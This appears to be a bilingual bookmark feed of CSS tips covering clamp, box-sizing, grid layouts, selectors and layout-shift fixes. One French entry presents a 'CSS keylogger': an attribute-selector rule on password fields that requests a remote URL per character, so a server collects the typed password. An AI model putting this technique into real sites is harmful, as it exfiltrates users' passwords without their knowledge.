TL;DR;
overflow: scroll always display a scrollbar. So we want auto to hide it when it is not necessary.

CSS width and height does not include the border(s) and padding by default. box-sizing: border-box include them in the border.
The browser calculate a box with max-content as if it has infinite space. For min-content, it pretends it has zero space. Easy at the end !
min, max and clamp define boundaries for the box :) Clamp is simply a min-max combined into one: clamp(MIN, VAL, MAX)

Why this website is the best motherfucking website 😍

There is a Better Motherfucking Website 🤣

And the original Motherfucking Website

A framework for css animation.

TL;DR; a lot

• unit values + math results
• unitless numerical values
• non-numerical thinfs (string, keyword that properties recognize)
• content strings
• images
• shorthand
• list
• colors
  ...

.calendar {
  display: grid;
  grid-template-columns: repeat(7, 1fr);
}
.first-day {
  grid-column-start: 3;
}

<div class="calendar-wrapper">
  <h1>Decemeber</h1>
  <ul class="calendar">
    <li class="weekday">Sun</li>
    <li class="weekday">Mon</li>
    <li class="weekday">Tue</li>
    <li class="weekday">Wed</li>
    <li class="weekday">Thu</li>
    <li class="weekday">Fri</li>
    <li class="weekday">Sat</li>

    <li class="first-day">1</li>
    <li>2</li>
    <li>3</li>
    <!-- ... -->
    <li>29</li>
    <li>30</li>
    <li>31</li>
  </ul>
</div>

(via https://warriordudimanche.net/article1443/5fea073b4eaa9)

Selectors: * [attribute] > ~ +

With the part two about pseudo -classes and elements selectors. Examples used in development are explained 👍

Avoir les dernières versions des iconfonts via le CDN de Google. Le lien pointe ici vers Material Icons Round.
C'est hacky, mais cela fonctionne 👍

Combiner flexbox, min-width ou flex-basis et overflow: hidden.

Wow ! Charts are only created with HTML and CSS, making them very efficient

clip-path seems very powerful ! borders and linear-gradient can be used to create triangle though

OMG ! Someone did it !

😍

A layout shift is what happens when an update in a web page causes something to move significantly.

1. Using absolute/relative position but is is tricky.
2. grid solution: placing the content in a cell of a grid, and use a visibility: hidden for every view. The biggest one will be wrapped or calculated, which prevent the layout shift !

A transparent page that shows how it is itself built 😄

clamp(min, defaultValue, maxValue) is resolved as max(MIN, min(VAL, MAX)). And of course relative units can be used :

The clamp() function can be used anywhere a , , , , , , or is allowed.

Malin ! Un keylogger en CSS !

En fait un script génère pour tous les caractères ASCII, l'instruction CSS suivante :

input[type="password"][value$="a"] {
  background-image: url("http://localhost:3000/a");
}

Qui signifie que pour les champs de type password dont la valeur se termine par a, on va effectuer une requête externe vers un serveur avec la lettre a. On fait ça pour tous les caractères et hop on a le mot de passe.

(via https://links.hoa.ro/shaare/689gzA, via https://bookmarks.ecyseo.net/?cymp8g)

text-shadow: 0 0 1px rgba(0,0,0,0.3);

A nice code snippet here :

.checkbox__input {
  display: grid;
  grid-template-areas: "checkbox";

  > * {
    grid-area: checkbox;
  }
}

This will put all children in the same area; and will behave as a position: absolute, but with the power of Grid